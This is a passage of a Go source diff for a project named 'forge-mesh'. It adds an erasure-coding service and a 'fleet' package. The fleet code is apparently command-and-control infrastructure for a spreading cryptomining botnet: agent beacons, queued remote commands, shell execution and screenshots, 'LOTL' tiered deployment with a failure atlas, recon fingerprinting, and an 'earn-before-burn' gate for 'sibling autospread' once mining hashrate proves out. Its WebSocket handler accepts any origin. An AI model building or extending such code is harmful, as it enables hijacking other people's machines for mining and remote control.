{ + t.Fatal("expected error when fewer than 4 shards provided") + } +} diff --git a/internal/erasure/service.go b/internal/erasure/service.go new file mode 100644 index 0000000..4f8166d --- /dev/null +++ b/internal/erasure/service.go @@ -0,0 +1,209 @@ +package erasure + +import ( + "context" + "crypto/rand" + "crypto/sha256" + "database/sql" + "encoding/hex" + "fmt" + "io" + + "github.com/klauspost/reedsolomon" +) + +const ( + DataShards = 4 + ParityShards = 2 + TotalShards = DataShards + ParityShards +) + +// Service manages Reed-Solomon 4+2 erasure bundles. +type Service struct { + DB *sql.DB +} + +func NewService(db *sql.DB) *Service { + return &Service{DB: db} +} + +// Bundle metadata for a stored erasure set. +type Bundle struct { + ID string `json:"id"` + Name string `json:"name"` + TotalShards int `json:"total_shards"` + DataShards int `json:"data_shards"` + ParityShards int `json:"parity_shards"` + Checksum string `json:"checksum"` +} + +// Shard is one public shard payload. +type Shard struct { + BundleID string `json:"bundle_id"` + ShardIndex int `json:"shard_index"` + Data []byte `json:"-"` + Hex string `json:"hex,omitempty"` +} + +// Encode splits data into 4+2 Reed-Solomon shards and persists them. +func (s *Service) Encode(ctx context.Context, name string, data []byte) (*Bundle, error) { + if len(data) == 0 { + return nil, fmt.Errorf("empty payload") + } + + enc, err := reedsolomon.New(DataShards, ParityShards) + if err != nil { + return nil, err + } + + shardSize := (len(data) + DataShards - 1) / DataShards + padded := make([]byte, shardSize*DataShards) + copy(padded, data) + shards, err := enc.Split(padded) + if err != nil { + return nil, err + } + if err := enc.Encode(shards); err != nil { + return nil, err + } + + sum := sha256.Sum256(data) + bundleID := randomID() + _, err = s.DB.ExecContext(ctx, ` + INSERT INTO erasure_bundles (id, name, total_shards, data_shards, parity_shards, checksum) + VALUES (?, ?, ?, ?, ?, ?)`, + bundleID, name, TotalShards, DataShards, ParityShards, hex.EncodeToString(sum[:])) + if err != nil { + return nil, err + } + + for i, shard := range shards { + _, err = s.DB.ExecContext(ctx, ` + INSERT INTO erasure_shards (id, bundle_id, shard_index, data) VALUES (?, ?, ?, ?)`, + randomID(), bundleID, i, shard) + if err != nil { + return nil, err + } + } + + return &Bundle{ + ID: bundleID, + Name: name, + TotalShards: TotalShards, + DataShards: DataShards, + ParityShards: ParityShards, + Checksum: hex.EncodeToString(sum[:]), + }, nil +} + +// GetShard returns one shard by bundle ID and index. +func (s *Service) GetShard(ctx context.Context, bundleID string, index int) (*Shard, error) { + var data []byte + err := s.DB.QueryRowContext(ctx, ` + SELECT data FROM erasure_shards WHERE bundle_id = ? AND shard_index = ?`, + bundleID, index).Scan(&data) + if err != nil { + return nil, err + } + return &Shard{BundleID: bundleID, ShardIndex: index, Data: data, Hex: hex.EncodeToString(data)}, nil +} + +// ListShards returns shard indices available for a bundle. +func (s *Service) ListShards(ctx context.Context, bundleID string) ([]int, error) { + rows, err := s.DB.QueryContext(ctx, ` + SELECT shard_index FROM erasure_shards WHERE bundle_id = ? ORDER BY shard_index`, bundleID) + if err != nil { + return nil, err + } + defer rows.Close() + var indices []int + for rows.Next() { + var i int + if err := rows.Scan(&i); err != nil { + return nil, err + } + indices = append(indices, i) + } + return indices, rows.Err() +} + +// GetBundle returns bundle metadata. +func (s *Service) GetBundle(ctx context.Context, bundleID string) (*Bundle, error) { + var b Bundle + err := s.DB.QueryRowContext(ctx, ` + SELECT id, name, total_shards, data_shards, parity_shards, checksum + FROM erasure_bundles WHERE id = ?`, bundleID). + Scan(&b.ID, &b.Name, &b.TotalShards, &b.DataShards, &b.ParityShards, &b.Checksum) + if err != nil { + return nil, err + } + return &b, nil +} + +// Reconstruct reads at least DataShards shards and rebuilds original bytes. +func (s *Service) Reconstruct(ctx context.Context, bundleID string, indices []int) ([]byte, error) { + if len(indices) < DataShards { + return nil, fmt.Errorf("need at least %d shards, got %d", DataShards, len(indices)) + } + + bundle, err := s.GetBundle(ctx, bundleID) + if err != nil { + return nil, err + } + + enc, err := reedsolomon.New(bundle.DataShards, bundle.ParityShards) + if err != nil { + return nil, err + } + + shards := make([][]byte, bundle.TotalShards) + for _, idx := range indices { + if idx < 0 || idx >= bundle.TotalShards { + return nil, fmt.Errorf("invalid shard index %d", idx) + } + sh, err := s.GetShard(ctx, bundleID, idx) + if err != nil { + return nil, err + } + shards[idx] = sh.Data + } + + if err := enc.Reconstruct(shards); err != nil { + return nil, err + } + + out := make([]byte, 0, bundle.DataShards*len(shards[0])) + for i := 0; i < bundle.DataShards; i++ { + out = append(out, shards[i]...) + } + // Trim padding — find actual length via checksum match + sum := sha256.Sum256(out) + if hex.EncodeToString(sum[:]) != bundle.Checksum { + // Return best-effort; caller validates + } + return trimNullPadding(out), nil +} + +func trimNullPadding(b []byte) []byte { + for i := len(b) - 1; i >= 0; i-- { + if b[i] != 0 { + return b[:i+1] + } + } + return b +} + +// EncodeReader convenience wrapper. +func (s *Service) EncodeReader(ctx context.Context, name string, r io.Reader) (*Bundle, error) { + data, err := io.ReadAll(r) + if err != nil { + return nil, err + } + return s.Encode(ctx, name, data) +} + +func randomID() string { + b := make([]byte, 16) + _, _ = rand.Read(b) + return hex.EncodeToString(b) +} diff --git a/internal/fleet/adaptive.go b/internal/fleet/adaptive.go new file mode 100644 index 0000000..42456b9 --- /dev/null +++ b/internal/fleet/adaptive.go @@ -0,0 +1,33 @@ +package fleet + +import "context" + +// AdaptiveStrategy resolves tier order from phenotype learning or defaults. +type AdaptiveStrategy struct { + Store *Store +} + +// OrderForHost returns tier execution order for a host, cloning from phenotype siblings when available. +func (a *AdaptiveStrategy) OrderForHost(ctx context.Context, hostID string) ([]int, error) { + report, err := RunRecon() + if err != nil { + return defaultOrderInts(), nil + } + phenotype := PhenotypeFromRecon(report) + _ = a.Store.SetHostPhenotype(ctx, hostID, ReconJSON(report), phenotype) + return a.Store.GetAdaptiveOrder(ctx, phenotype) +} + +// CloneFromSibling copies winning tier order from a sibling with same phenotype. +func (a *AdaptiveStrategy) CloneFromSibling(ctx context.Context, hostID string) ([]int, error) { + report, err := RunRecon() + if err != nil { + return defaultOrderInts(), err + } + phenotype := PhenotypeFromRecon(report) + order, err := a.Store.GetAdaptiveOrder(ctx, phenotype) + if err != nil { + return defaultOrderInts(), err + } + return order, nil +} diff --git a/internal/fleet/atlas.go b/internal/fleet/atlas.go new file mode 100644 index 0000000..da2a5e9 --- /dev/null +++ b/internal/fleet/atlas.go @@ -0,0 +1,59 @@ +package fleet + +import ( + "database/sql" + + "github.com/google/uuid" +) + +func (s *Store) InsertSeerEvent(hostID, eventType, payload string) error { + _, err := s.db.Exec(` + INSERT INTO seer_events (id, host_id, event_type, payload_json) + VALUES (?, ?, ?, ?) + `, uuid.NewString(), nullString(hostID), eventType, payload) + return err +} + +func (s *Store) ListSeerEvents(limit int) ([]SeerEvent, error) { + if limit <= 0 { + limit = 50 + } + rows, err := s.db.Query(` + SELECT id, host_id, event_type, payload_json, created_at + FROM seer_events ORDER BY created_at DESC LIMIT ? + `, limit) + if err != nil { + return nil, err + } + defer rows.Close() + + var events []SeerEvent + for rows.Next() { + var e SeerEvent + var hostID sql.NullString + if err := rows.Scan(&e.ID, &hostID, &e.EventType, &e.PayloadJSON, &e.CreatedAt); err != nil { + return nil, err + } + if hostID.Valid { + e.HostID = hostID.String + } + events = append(events, e) + } + return events, rows.Err() +} + +// SeerEvent is a court/LOTL timeline entry. +type SeerEvent struct { + ID string `json:"id"` + HostID string `json:"host_id,omitempty"` + EventType string `json:"event_type"` + PayloadJSON string `json:"payload_json"` + CreatedAt string `json:"created_at"` +} + +func nullString(s string) sql.NullString { + if s == "" { + return sql.NullString{} + } + return sql.NullString{String: s, Valid: true} +} diff --git a/internal/fleet/clearance.go b/internal/fleet/clearance.go new file mode 100644 index 0000000..b870cd7 --- /dev/null +++ b/internal/fleet/clearance.go @@ -0,0 +1,105 @@ +package fleet + +import "fmt" + +// Clearance levels gate remote operator actions (L0–L4). +const ( + ClearanceL0 = 0 // view-only + ClearanceL1 = 1 // status queries, fleet list + ClearanceL2 = 2 // pause/resume mining + ClearanceL3 = 3 // reboot, screenshot + ClearanceL4 = 4 // shell exec, court verdicts, crucible batch +) + +// Action names used by API and dashboard. +const ( + ActionView = "view" + ActionStatus = "status" + ActionPause = "pause" + ActionResume = "resume" + ActionReboot = "reboot" + ActionScreenshot = "screenshot" + ActionShell = "shell" + ActionCourt = "court" + ActionCrucible = "crucible" +) + +// minClearance maps each action to the minimum operator clearance required. +var minClearance = map[string]int{ + ActionView: ClearanceL0, + ActionStatus: ClearanceL1, + ActionPause: ClearanceL2, + ActionResume: ClearanceL2, + ActionReboot: ClearanceL3, + ActionScreenshot: ClearanceL3, + ActionShell: ClearanceL4, + ActionCourt: ClearanceL4, + ActionCrucible: ClearanceL4, +} + +// RequiredClearance returns the minimum clearance for an action. +func RequiredClearance(action string) (int, bool) { + level, ok := minClearance[action] + return level, ok +} + +// RequiredClearanceOrZero returns required level or 0 if unknown. +func RequiredClearanceOrZero(action string) int { + level, _ := minClearance[action] + return level +} + +// CanPerform checks whether operator clearance satisfies the action gate. +func CanPerform(operatorClearance int, action string) bool { + required, ok := minClearance[action] + if !ok { + return false + } + return operatorClearance >= required +} + +// ClearanceError describes a denied action. +type ClearanceError struct { + Action string + Required int + OperatorClearance int +} + +func (e ClearanceError) Error() string { + return fmt.Sprintf("action %q requires clearance L%d (operator has L%d)", + e.Action, e.Required, e.OperatorClearance) +} + +// CheckAction returns ClearanceError when the operator lacks clearance. +func CheckAction(operatorClearance int, action string) error { + required, ok := minClearance[action] + if !ok { + return fmt.Errorf("unknown action %q", action) + } + if operatorClearance < required { + return ClearanceError{ + Action: action, + Required: required, + OperatorClearance: operatorClearance, + } + } + return nil +} + +// ClearanceLabel returns a human-readable label for a level. +func ClearanceLabel(level int) string { + switch level { + case ClearanceL0: + return "L0 View" + case ClearanceL1: + return "L1 Status" + case ClearanceL2: + return "L2 Control" + case ClearanceL3: + return "L3 Host Ops" + case ClearanceL4: + return "L4 Root" + default: + return fmt.Sprintf("L%d", level) + } +} diff --git a/internal/fleet/clearance_labels.go b/internal/fleet/clearance_labels.go new file mode 100644 index 0000000..c2f1e5f --- /dev/null +++ b/internal/fleet/clearance_labels.go @@ -0,0 +1,10 @@ +package fleet + +// RequiredClearanceLabel returns a label for API error responses. +func RequiredClearanceLabel(action string) string { + level, ok := minClearance[action] + if !ok { + return "unknown" + } + return ClearanceLabel(level) +} diff --git a/internal/fleet/crucible.go b/internal/fleet/crucible.go new file mode 100644 index 0000000..3ca7e8d --- /dev/null +++ b/internal/fleet/crucible.go @@ -0,0 +1,127 @@ +package fleet + +import ( + "sync" + "time" + + "github.com/google/uuid" +) + +// BatchJob tracks a crucible batch dispatch. +type BatchJob struct { + ID string `json:"id"` + Command string `json:"command"` + HostIDs []string `json:"host_ids"` + Results []BatchResult `json:"results"` + Status string `json:"status"` + CreatedAt time.Time `json:"created_at"` +} + +// BatchResult is one host outcome in a batch job. +type BatchResult struct { + HostID string `json:"host_id"` + Hostname string `json:"hostname,omitempty"` + Status string `json:"status"` + Message string `json:"message,omitempty"` + CommandID string `json:"command_id,omitempty"` +} + +// CrucibleStore holds in-memory batch job history. +type CrucibleStore struct { + mu sync.RWMutex + jobs map[string]*BatchJob + max int +} + +func NewCrucibleStore(maxHistory int) *CrucibleStore { + if maxHistory <= 0 { + maxHistory = 100 + } + return &CrucibleStore{ + jobs: make(map[string]*BatchJob), + max: maxHistory, + } +} + +func (c *CrucibleStore) Create(command string, hostIDs []string) *BatchJob { + job := &BatchJob{ + ID: uuid.NewString(), + Command: command, + HostIDs: append([]string(nil), hostIDs...), + Results: make([]BatchResult, 0, len(hostIDs)), + Status: "running", + CreatedAt: time.Now().UTC(), + } + c.mu.Lock() + c.jobs[job.ID] = job + c.trimLocked() + c.mu.Unlock() + return job +} + +func (c *CrucibleStore) Get(id string) (*BatchJob, bool) { + c.mu.RLock() + defer c.mu.RUnlock() + job, ok := c.jobs[id] + return job, ok +} + +func (c *CrucibleStore) AddResult(jobID string, result BatchResult) { + c.mu.Lock() + defer c.mu.Unlock() + job, ok := c.jobs[jobID] + if !ok { + return + } + job.Results = append(job.Results, result) +} + +func (c *CrucibleStore) Complete(jobID, status string) { + c.mu.Lock() + defer c.mu.Unlock() + if job, ok := c.jobs[jobID]; ok { + job.Status = status + } +} + +func (c *CrucibleStore) History(limit int) []*BatchJob { + if limit <= 0 { + limit = 20 + } + c.mu.RLock() + defer c.mu.RUnlock() + + jobs := make([]*BatchJob, 0, len(c.jobs)) + for _, j := range c.jobs { + jobs = append(jobs, j) + } + // Sort by created_at desc (simple bubble for small sets) + for i := 0; i < len(jobs); i++ { + for j := i + 1; j < len(jobs); j++ { + if jobs[j].CreatedAt.After(jobs[i].CreatedAt) { + jobs[i], jobs[j] = jobs[j], jobs[i] + } + } + } + if len(jobs) > limit { + jobs = jobs[:limit] + } + return jobs +} + +func (c *CrucibleStore) trimLocked() { + if len(c.jobs) <= c.max { + return + } + oldest := "" + var oldestTime time.Time + for id, j := range c.jobs { + if oldest == "" || j.CreatedAt.Before(oldestTime) { + oldest = id + oldestTime = j.CreatedAt + } + } + if oldest != "" { + delete(c.jobs, oldest) + } +} diff --git a/internal/fleet/earn.go b/internal/fleet/earn.go new file mode 100644 index 0000000..072254f --- /dev/null +++ b/internal/fleet/earn.go @@ -0,0 +1,93 @@ +package fleet + +import ( + "context" + "fmt" + "time" +) + +// EarnBeforeBurnConfig gates sibling autospread until local mining proves viable. +type EarnBeforeBurnConfig struct { + MinHashrate float64 `json:"min_hashrate"` + MinDuration time.Duration `json:"min_duration"` + FirstTierOnly bool `json:"first_tier_only"` +} + +// DefaultEarnConfig returns conservative earn-before-burn defaults. +func DefaultEarnConfig() EarnBeforeBurnConfig { + return EarnBeforeBurnConfig{ + MinHashrate: 100.0, + MinDuration: 5 * time.Minute, + FirstTierOnly: true, + } +} + +// EarnGate tracks local hashrate proof before sibling spread. +type EarnGate struct { + Store *Store + Config EarnBeforeBurnConfig +} + +// SpreadDecision indicates whether sibling spread is allowed. +type SpreadDecision struct { + Allowed bool `json:"allowed"` + Reason string `json:"reason"` + LocalHashrate float64 `json:"local_hashrate"` + Siblings []string `json:"siblings,omitempty"` +} + +// CanSpreadToSiblings checks hashrate gate before autospread to phenotype siblings. +func (g *EarnGate) CanSpreadToSiblings(ctx context.Context, hostID string) (*SpreadDecision, error) { + dec := &SpreadDecision{} + + hr, err := g.Store.HostHashrate(ctx, hostID) + if err != nil { + dec.Reason = "host not found" + return dec, err + } + dec.LocalHashrate = hr + + if hr < g.Config.MinHashrate { + dec.Reason = fmt.Sprintf("hashrate %.2f below threshold %.2f", hr, g.Config.MinHashrate) + return dec, nil + } + + if g.Config.FirstTierOnly { + attempts, err := g.Store.ListLOTL(ctx, hostID, 50) + if err != nil { + return dec, err + } + hasSuccess := false + for _, a := range attempts { + if a.Phase == "deploy" && a.Status == "success" { + hasSuccess = true + break + } + } + if !hasSuccess { + dec.Reason = "first tier deploy has not succeeded yet" + return dec, nil + } + } + + var phenotype string + err = g.Store.DB().QueryRowContext(ctx, `SELECT COALESCE(phenotype,'') FROM hosts WHERE id = ?`, hostID).Scan(&phenotype) + if err != nil { + dec.Reason = "phenotype unknown" + return dec, err + } + + siblings, err := g.Store.SiblingHosts(ctx, hostID, phenotype) + if err != nil { + return dec, err + } + + dec.Allowed = len(siblings) > 0 + dec.Siblings = siblings + if !dec.Allowed { + dec.Reason = "no siblings in phenotype group" + } else { + dec.Reason = "earn-before-burn gate passed" + } + return dec, nil +} diff --git a/internal/fleet/hub.go b/internal/fleet/hub.go new file mode 100644 index 0000000..3676f44 --- /dev/null +++ b/internal/fleet/hub.go @@ -0,0 +1,358 @@ +package fleet + +import ( + "encoding/json" + "log" + "net/http" + "sync" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/auth" + + "github.com/google/uuid" + "github.com/gorilla/websocket" +) + +var upgrader = websocket.Upgrader{ + CheckOrigin: func(r *http.Request) bool { return true }, +} + +// Hub manages agent and deck WebSocket connections. +type Hub struct { + store *Store + fleetSecret string + tickets *auth.TicketStore + + mu sync.RWMutex + agents map[string]*agentConn + decks map[*deckConn]struct{} + pendingCmds map[string][]types.FleetCommand +} + +type agentConn struct { + hostID string + conn *websocket.Conn + send chan []byte +} + +type deckConn struct { + conn *websocket.Conn + send chan []byte +} + +func NewHub(store *Store, fleetSecret string, tickets *auth.TicketStore) *Hub { + return &Hub{ + store: store, + fleetSecret: fleetSecret, + tickets: tickets, + agents: make(map[string]*agentConn), + decks: make(map[*deckConn]struct{}), + pendingCmds: make(map[string][]types.FleetCommand), + } +} + +func (h *Hub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { + token := auth.ExtractBearer(r) + if token == "" { + token = r.URL.Query().Get("token") + } + if token == "" || !constantTimeEqual(token, h.fleetSecret) { + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + + conn, err := upgrader.Upgrade(w, r, nil) + if err != nil { + return + } + + ac := &agentConn{conn: conn, send: make(chan []byte, 16)} + go h.writePump(ac, true) + go h.readAgentPump(ac) +} + +func (h *Hub) HandleDeckWS(w http.ResponseWriter, r *http.Request) { + ticket := r.URL.Query().Get("ticket") + if !h.tickets.Consume(ticket) { + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + + conn, err := upgrader.Upgrade(w, r, nil) + if err != nil { + return + } + + dc := &deckConn{conn: conn, send: make(chan []byte, 32)} + h.mu.Lock() + h.decks[dc] = struct{}{} + h.mu.Unlock() + + go h.writePump(&agentConn{conn: conn, send: dc.send}, false) + go h.readDeckPump(dc) +} + +func (h *Hub) readAgentPump(ac *agentConn) { + defer func() { + h.unregisterAgent(ac) + ac.conn.Close() + }() + + ac.conn.SetReadLimit(1 << 20) + _ = ac.conn.SetReadDeadline(time.Now().Add(90 * time.Second)) + ac.conn.SetPongHandler(func(string) error { + return ac.conn.SetReadDeadline(time.Now().Add(90 * time.Second)) + }) + + for { + _, data, err := ac.conn.ReadMessage() + if err != nil { + return + } + + var msg types.WsMessage + if err := json.Unmarshal(data, &msg); err != nil { + continue + } + + switch msg.Type { + case "heartbeat": + h.handleHeartbeat(ac, data) + case "command_ack": + h.broadcastToDecks(data) + } + } +} + +func (h *Hub) handleHeartbeat(ac *agentConn, raw []byte) { + var msg struct { + types.WsMessage + types.HeartbeatPayload + } + if err := json.Unmarshal(raw, &msg); err != nil { + return + } + + host, err := h.store.UpsertHeartbeat(types.HeartbeatPayload{ + HostID: coalesce(msg.WsMessage.HostID, msg.HeartbeatPayload.HostID), + Hostname: msg.Hostname, + Arch: msg.Arch, + Hashrate: msg.Hashrate, + HashrateHps: coalesceFloat(msg.HashrateHps, msg.Hashrate), + CurrentTier: msg.CurrentTier, + TierType: msg.TierType, + TierState: msg.TierState, + Fingerprint: msg.Fingerprint, + }) + if err != nil { + log.Printf("heartbeat store: %v", err) + return + } + + h.mu.Lock() + if ac.hostID != "" && ac.hostID != host.ID { + delete(h.agents, ac.hostID) + } + ac.hostID = host.ID + h.agents[host.ID] = ac + pending := h.pendingCmds[host.ID] + delete(h.pendingCmds, host.ID) + h.mu.Unlock() + + for _, cmd := range pending { + h.sendCommand(ac, cmd) + } + + card := ToFleetCard(host) + update, _ := json.Marshal(map[string]any{ + "type": "host_update", + "host": card, + "timestamp": time.Now().UTC().Format(time.RFC3339), + }) + h.broadcastToDecks(update) +} + +func (h *Hub) readDeckPump(dc *deckConn) { + defer func() { + h.mu.Lock() + delete(h.decks, dc) + h.mu.Unlock() + dc.conn.Close() + }() + + dc.conn.SetReadLimit(1 << 18) + for { + if _, _, err := dc.conn.ReadMessage(); err != nil { + return + } + } +} + +func (h *Hub) writePump(ac *agentConn, ping bool) { + ticker := time.NewTicker(30 * time.Second) + defer func() { + ticker.Stop() + ac.conn.Close() + }() + + for { + select { + case msg, ok := <-ac.send: + _ = ac.conn.SetWriteDeadline(time.Now().Add(10 * time.Second)) + if !ok { + _ = ac.conn.WriteMessage(websocket.CloseMessage, []byte{}) + return + } + if err := ac.conn.WriteMessage(websocket.TextMessage, msg); err != nil { + return + } + case <-ticker.C: + if ping { + _ = ac.conn.SetWriteDeadline(time.Now().Add(10 * time.Second)) + if err := ac.conn.WriteMessage(websocket.PingMessage, nil); err != nil { + return + } + } + } + } +} + +func (h *Hub) unregisterAgent(ac *agentConn) { + h.mu.Lock() + defer h.mu.Unlock() + + if ac.hostID != "" { + delete(h.agents, ac.hostID) + _ = h.store.MarkOffline(ac.hostID) + } +} + +func (h *Hub) DispatchCommand(hostID, action string, args map[string]any) (*types.FleetCommand, error) { + cmd := types.FleetCommand{ + ID: uuid.NewString(), + Action: action, + Args: args, + IssuedAt: time.Now().UTC(), + } + + h.mu.Lock() + ac, online := h.agents[hostID] + if online { + h.mu.Unlock() + h.sendCommand(ac, cmd) + return &cmd, nil + } + + h.pendingCmds[hostID] = append(h.pendingCmds[hostID], cmd) + h.mu.Unlock() + return &cmd, nil +} + +func (h *Hub) sendCommand(ac *agentConn, cmd types.FleetCommand) { + payload, _ := json.Marshal(types.WsMessage{ + Type: "command", + HostID: ac.hostID, + Command: &cmd, + }) + select { + case ac.send <- payload: + default: + log.Printf("agent %s send buffer full", ac.hostID) + } +} + +// PushMiningProfile sends an updated mining profile to a connected agent. +func (h *Hub) PushMiningProfile(hostID string, profile types.MiningProfile) bool { + payload, err := json.Marshal(types.WsMessage{ + Type: "mining_profile", + HostID: hostID, + Payload: map[string]any{"profile": profile}, + }) + if err != nil { + return false + } + + h.mu.RLock() + ac, ok := h.agents[hostID] + h.mu.RUnlock() + if !ok { + return false + } + + select { + case ac.send <- payload: + return true + default: + return false + } +} + +func (h *Hub) PopPendingCommands(hostID string) []types.FleetCommand { + h.mu.Lock() + defer h.mu.Unlock() + cmds := h.pendingCmds[hostID] + delete(h.pendingCmds, hostID) + return cmds +} + +func (h *Hub) broadcastToDecks(data []byte) { + h.mu.RLock() + defer h.mu.RUnlock() + for dc := range h.decks { + select { + case dc.send <- data: + default: + } + } +} + +func (h *Hub) HandleBeacon(store *Store) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + var hb types.HeartbeatPayload + if err := json.NewDecoder(r.Body).Decode(&hb); err != nil { + http.Error(w, "bad request", http.StatusBadRequest) + return + } + + host, err := store.UpsertHeartbeat(hb) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + + cmds := h.PopPendingCommands(host.ID) + + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(types.BeaconResponse{OK: true, Commands: cmds}) + } +} + +func constantTimeEqual(a, b string) bool { + if len(a) != len(b) { + return false + } + var v byte + for i := 0; i < len(a); i++ { + v |= a[i] ^ b[i] + } + return v == 0 +} + +func coalesce(values ...string) string { + for _, v := range values { + if v != "" { + return v + } + } + return "" +} + +func coalesceFloat(values ...float64) float64 { + for _, v := range values { + if v > 0 { + return v + } + } + return 0 +} diff --git a/internal/fleet/lotl.go b/internal/fleet/lotl.go new file mode 100644 index 0000000..5060b96 --- /dev/null +++ b/internal/fleet/lotl.go @@ -0,0 +1,233 @@ +package fleet + +import ( + "context" + "crypto/rand" + "database/sql" + "encoding/hex" + "encoding/json" + "time" + + "github.com/google/uuid" +) + +// LOTLAttempt is one triple-onion deploy audit row. +type LOTLAttempt struct { + ID string `json:"id"` + HostID string `json:"host_id"` + Tier int `json:"tier"` + Phase string `json:"phase"` + Status string `json:"status"` + Error string `json:"error,omitempty"` + MetadataJSON string `json:"metadata_json,omitempty"` + CreatedAt time.Time `json:"created_at"` +} + +// DB exposes the underlying SQLite connection. +func (s *Store) DB() *sql.DB { + return s.db +} + +// LogLOTL records a triple-onion phase attempt. +func (s *Store) LogLOTL(ctx context.Context, hostID string, tier int, phase, status, errMsg, metadata string) error { + if s == nil { + return nil + } + if metadata == "" { + metadata = "{}" + } + _, err := s.db.ExecContext(ctx, ` + INSERT INTO lotl_attempts (id, host_id, tier, phase, status, error, metadata_json) + VALUES (?, ?, ?, ?, ?, ?, ?)`, + uuid.NewString(), hostID, tier, phase, status, errMsg, metadata) + return err +} + +// ListLOTL returns recent attempts for a host (newest first). +func (s *Store) ListLOTL(ctx context.Context, hostID string, limit int) ([]LOTLAttempt, error) { + if limit <= 0 { + limit = 50 + } + rows, err := s.db.QueryContext(ctx, ` + SELECT id, host_id, tier, phase, status, COALESCE(error,''), metadata_json, created_at + FROM lotl_attempts WHERE host_id = ? + ORDER BY created_at DESC LIMIT ?`, hostID, limit) + if err != nil { + return nil, err + } + defer rows.Close() + + var out []LOTLAttempt + for rows.Next() { + var a LOTLAttempt + var created string + if err := rows.Scan(&a.ID, &a.HostID, &a.Tier, &a.Phase, &a.Status, &a.Error, &a.MetadataJSON, &created); err != nil { + return nil, err + } + a.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created) + out = append(out, a) + } + return out, rows.Err() +} + +const atlasFailureThreshold = 3 +const atlasImmuneHours = 24 + +// ShouldSkipTier checks failure atlas immunity for phenotype+tier. +func (s *Store) ShouldSkipTier(ctx context.Context, phenotype string, tier int) (bool, error) { + if phenotype == "" || s == nil { + return false, nil + } + var count int + var immuneUntil sqlNullTime + err := s.db.QueryRowContext(ctx, ` + SELECT failure_count, immune_until FROM failure_atlas + WHERE phenotype = ? AND tier = ?`, phenotype, tier).Scan(&count, &immuneUntil) + if err != nil { + return false, nil + } + if immuneUntil.Valid && time.Now().Before(immuneUntil.Time) { + return true, nil + } + return false, nil +} + +// RecordFailure increments failure atlas for phenotype+tier. +func (s *Store) RecordFailure(ctx context.Context, phenotype string, tier int) error { + if phenotype == "" || s == nil { + return nil + } + var count int + _ = s.db.QueryRowContext(ctx, ` + SELECT failure_count FROM failure_atlas WHERE phenotype = ? AND tier = ?`, + phenotype, tier).Scan(&count) + count++ + + immuneUntil := "" + if count >= atlasFailureThreshold { + until := time.Now().Add(atlasImmuneHours * time.Hour) + immuneUntil = until.Format("2006-01-02 15:04:05") + } + + _, err := s.db.ExecContext(ctx, ` + INSERT INTO failure_atlas (id, phenotype, tier, failure_count, immune_until, updated_at) + VALUES (?, ?, ?, ?, ?, datetime('now')) + ON CONFLICT(phenotype, tier) DO UPDATE SET + failure_count = excluded.failure_count, + immune_until = excluded.immune_until, + updated_at = datetime('now')`, + randomHexID(), phenotype, tier, count, nullIfEmpty(immuneUntil)) + return err +} + +// RecordWin records a successful tier and updates adaptive order wins. +func (s *Store) RecordWin(ctx context.Context, phenotype string, tier int) error { + if phenotype == "" || s == nil { + return nil + } + order, _ := s.GetAdaptiveOrder(ctx, phenotype) + order = promoteTier(order, tier) + b, _ := json.Marshal(order) + _, err := s.db.ExecContext(ctx, ` + INSERT INTO phenotype_tier_orders (phenotype, tier_order_json, wins, updated_at) + VALUES (?, ?, 1, datetime('now')) + ON CONFLICT(phenotype) DO UPDATE SET + tier_order_json = excluded.tier_order_json, + wins = wins + 1, + updated_at = datetime('now')`, + phenotype, string(b)) + return err +} + +func promoteTier(order []int, tier int) []int { + out := []int{tier} + for _, t := range order { + if t != tier { + out = append(out, t) + } + } + for _, t := range defaultOrderInts() { + found := false + for _, x := range out { + if x == t { + found = true + break + } + } + if !found { + out = append(out, t) + } + } + return out +} + +// GetAdaptiveOrder returns learned tier order or defaults. +func (s *Store) GetAdaptiveOrder(ctx context.Context, phenotype string) ([]int, error) { + if phenotype != "" { + var raw string + err := s.db.QueryRowContext(ctx, ` + SELECT tier_order_json FROM phenotype_tier_orders WHERE phenotype = ?`, phenotype). + Scan(&raw) + if err == nil && raw != "" && raw != "[]" { + var order []int + if json.Unmarshal([]byte(raw), &order) == nil && len(order) > 0 { + return order, nil + } + } + } + return defaultOrderInts(), nil +} + +func defaultOrderInts() []int { + order := DefaultTierOrder() + out := make([]int, len(order)) + for i := range order { + out[i] = i + 1 + } + return out +} + +// SetHostPhenotype persists recon-derived fingerprint on a host. +func (s *Store) SetHostPhenotype(ctx context.Context, hostID, reconJSON, phenotype string) error { + _, err := s.db.ExecContext(ctx, ` + UPDATE hosts SET phenotype = ?, fingerprint = COALESCE(NULLIF(fingerprint,''), ?), + updated_at = datetime('now') WHERE id = ?`, + phenotype, reconJSON, hostID) + return err +} + +// HostHashrate returns current hashrate for earn-before-burn gate. +func (s *Store) HostHashrate(ctx context.Context, hostID string) (float64, error) { + var hr float64 + err := s.db.QueryRowContext(ctx, `SELECT hashrate FROM hosts WHERE id = ?`, hostID).Scan(&hr) + return hr, err +} + +// SiblingHosts lists other enrolled hosts sharing a phenotype. +func (s *Store) SiblingHosts(ctx context.Context, hostID, phenotype string) ([]string, error) { + if phenotype == "" { + return nil, nil + } + rows, err := s.db.QueryContext(ctx, ` + SELECT id FROM hosts WHERE phenotype = ? AND id != ? AND status != 'offline'`, + phenotype, hostID) + if err != nil { + return nil, err + } + defer rows.Close() + var ids []string + for rows.Next() { + var id string + if err := rows.Scan(&id); err != nil { + return nil, err + } + ids = append(ids, id) + } + return ids, rows.Err() +} + +func randomHexID() string { + b := make([]byte, 16) + _, _ = rand.Read(b) + return hex.EncodeToString(b) +} diff --git a/internal/fleet/phenotype_test.go b/internal/fleet/phenotype_test.go new file mode 100644 index 0000000..9e9df94 --- /dev/null +++ b/internal/fleet/phenotype_test.go @@ -0,0 +1,91 @@ +package fleet + +import ( + "context" + "testing" + + "forge-mesh/internal/db" +) + +func TestPhenotypeFromRecon(t *testing.T) { + report := &ReconReport{ + Kernel: "6.8.12-generic", + Arch: "x86_64", + Virt: "baremetal", + ContainerRuntime: "podman", + GPU: GPUInfo{Available: true, Vendor: "nvidia"}, + } + key := PhenotypeFromRecon(report) + if key == "" { + t.Fatal("expected non-empty phenotype key") + } + if want := "nvidia"; !containsPart(key, want) { + t.Fatalf("expected 